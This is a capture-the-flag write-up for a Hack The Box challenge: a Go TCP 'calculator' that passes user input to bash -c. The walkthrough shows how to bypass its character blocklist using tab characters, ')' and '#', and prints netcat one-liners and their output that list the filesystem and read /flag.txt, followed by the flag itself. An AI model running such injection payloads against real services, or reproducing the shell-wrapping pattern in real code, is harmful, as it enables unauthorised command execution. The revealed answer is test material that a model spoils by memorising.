Bashic Calculator
Description
I've made the coolest calculator. It's pretty simple, I don't need to parse the input and take care of execution order, bash does it for me! I've also made sure to remove characters like $ or "`" to not allow code execution, that will surely be enough.
Source
package main
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"strconv"
"strings"
"time"
)
const (
connHost = "0.0.0.0"
connPort = "1337"
connType = "tcp"
)
func main() { // Used to stablish connections with the clients (not part of the challenge)
fmt.Println("Starting " + connType + " server on " + connHost + ":" + connPort)
l, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Error listening: ", err.Error())
os.Exit(1)
}
defer l.Close()
for {
conn, err := l.Accept()
if err != nil {
continue
}
fmt.Println("Client " + conn.RemoteAddr().String() + " connected.")
go minConnection(conn)
go handleConnection(conn)
defer conn.Close()
}
}
func minConnection(conn net.Conn) {
time.Sleep(600 * time.Second)
conn.Close()
}
type LocalShell struct{}
func (_ LocalShell) Execute(ctx context.Context, cmd string) ([]byte, error) {
wrapperCmd := exec.CommandContext(ctx, "bash", "-c", cmd)
return wrapperCmd.Output()
}
func handleConnection(conn net.Conn) {
conn.Write([]byte("CALCULATOR\n"))
for {
conn.Write([]byte("\nOperation: "))
buffer, err := bufio.NewReader(conn).ReadBytes('\n')
if err != nil {
conn.Close()
return
}
op := string(buffer[:len(buffer)-1])
firewall := []string{" ", "`", "$", "&", "|", ";", ">"}
for _, v := range firewall {
opL1 := len(op)
op = strings.ReplaceAll(op, v, "")
opL2 := len(op)
if opL1 > opL2 {
conn.Write([]byte(strconv.Itoa(opL1-opL2) + " '" + v + "' removed\n"))
}
}
shell := LocalShell{}
command := "echo $((" + op + "))"
output, _ := shell.Execute(context.Background(), command)
fmt.Println(conn.RemoteAddr().String() + ": " + command + " " + string(output))
conn.Write(output)
}
}
Solution
The main part of the challenge is handleConnection
. It takes our input and sends it to command := "echo $((" + input + "))"
, but there's a restriction on what we can use.
The $(())
is called 3.5.5 Arithmetic Expansion. It takes arithmetical expression and evaluates it to integer.
Bash is strict with it's syntax sometimes and if you break it something unexpected happens, like:
└─$ echo $(( whoami )) # No Space
0
└─$ echo $(( whoami ) ) # With space
woyag
There's 2 filters we must bypass.
Leading
))
Spaces
#
is not blocked so we can ignore the leading ))
, )
is not blocked so we can inject them and for spaces we can use tabs ()
# └─$ echo $'ls\t/\t)\t)\t#' | nc 94.237.53.113 54904
└─$ echo 'ls / ) ) #' | tr ' ' '\t' | nc 94.237.53.113 54904
CALCULATOR
Operation: bin calculator dev etc flag.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
# └─$ echo $'cat\t/flag.txt\t)\t)\t#' | nc 94.237.53.113 54904
└─$ echo 'cat /flag.txt ) ) #' | tr ' ' '\t' | nc 94.237.53.113 54904
CALCULATOR
Operation: HTB{Ju4nck3r_15_y0ur_n4m3_15nt_1t?}
Last updated